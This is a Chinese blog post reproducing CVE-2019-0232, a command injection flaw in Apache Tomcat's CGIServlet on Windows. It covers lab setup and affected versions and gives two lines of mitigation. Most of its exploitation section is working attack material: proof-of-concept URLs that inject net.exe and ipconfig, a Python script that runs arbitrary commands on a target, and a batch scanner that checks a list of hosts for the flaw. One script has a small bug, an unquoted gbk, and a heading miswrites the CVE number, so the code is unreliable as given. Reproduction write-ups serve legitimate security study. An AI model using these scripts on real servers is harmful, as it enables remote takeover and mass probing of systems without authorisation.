Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

Posted yuzly

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现相关的知识,希望对你有一定的参考价值。

Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

一、漏洞描述

该漏洞是由于tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。成功利用此漏洞可允许远程攻击者在目标服务器上执行任意命令,从而导致服务器被完全控制。

该漏洞只影响windows平台,要求启用CGI Servlet和enableCmdLineArguments参数。但是CGI Servlet默认关闭, enableCmdLineArguments在tomcat 9.0之后默认关闭

触发该漏洞需要同时满足以下条件:

1、 系统为windows

2、 启用了CGI Servlet(默认为关闭)

3、 启用了enableCmdLineArguments(tomcat 9.0之后默认为关闭)

二、影响版本

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

三、漏洞环境

目标机:windows 7

jdk_8u71

apache tomcat 8.5.2

1、 java环境搭建,jdk下载、安装

下载地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html

2、 测试java环境

  技术图片

3、tomcat下载、安装

下载地址: https://archive.apache.org/dist/tomcat/

4、 tomcat环境测试

  技术图片

四、漏洞复现

1、 打开Tomcat安装目录的C:\\Program Files (x86)\\Apache Software Foundation\\Tomcat 8.5\\conf\\web.xml修改为如下配置,在默认情况下配置是注释的

  技术图片

2、同时还要修改web.xml以下配置,否则访问cgi目录会提示404

   技术图片

3、修改C:\\Program Files (x86)\\Apache Software Foundation\\Tomcat 8.5\\conf\\context.xml,添加privileged="true"

  技术图片

4、在C:\\Program Files (x86)\\Apache Software Foundation\\Tomcat 8.5\\webapps\\ROOT\\WEB-INF目录新建一个cgi-bin文件夹,在cgi-bin文件夹下创建一个hello.bat的文件,内容如下:

  技术图片

5、 漏洞利用

POC如下:  #必须使用URL编码进行访问

http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user

http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

  技术图片

  技术图片

6、使用python脚本验证目标是否存在漏洞

  脚本如下:

#author:yuzly
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

import requests
import sys

url=sys.argv[1]
url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd=sys.argv[2]

vuln_url=url+url_dir+cmd

print("Usage:python cve-2019-0232.py url cmd")
print("the vuln url:\\n\\n",vuln_url)
r=requests.get(vuln_url)
r.encoding = gbk
print("\\nthe vuln response content:\\n\\n",r.text)

7、运行脚本

  技术图片

8、 编写批量自动化验证cve-2018-0232漏洞脚本

#author:yuzly
#blogs:https://www.cnblogs.com/yuzly/
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

import requests
import sys

url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig"   #payload

with open("url.txt") as f:
    while True:
        url=f.readline()
        if url:
            url=url.split("\\n")[0]
            #print(url)
            vuln_url=url+url_dir
            #print(vuln_url)
            try:
                r=requests.get(vuln_url)
                #print(r.text)
                if "IPv4" in r.text:
                    print("[+][+]%s is exist vulnerability[+][+]" %url)
                else:
                    print("[-]%s is not exist vuln" %url)
            except:
                print("[!]%s is connection fail[!]" %url)
        else:
            break

9、 搭建环境测试,运行脚本

  技术图片

五、漏洞防御

1、 升级版本

2、 关闭enableCmdLineArguments参数

 

---------------------------------------------------------------------------------------

参考资料:https://xz.aliyun.com/t/4875

https://github.com/jas502n/CVE-2019-0232

以上是关于Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

复现CVE-2019-0232 Tomcat 远程代码执行

漏洞处置建议|Apache Tomcat远程代码执行漏洞处置建议

CVE-2019-0232(Apache Tomcat 远程代码执行)漏洞复现

CVE-2019-0232 远程代码执行漏洞-复现

CVE-2019-0232漏洞复现

CVE-2019-0232漏洞复现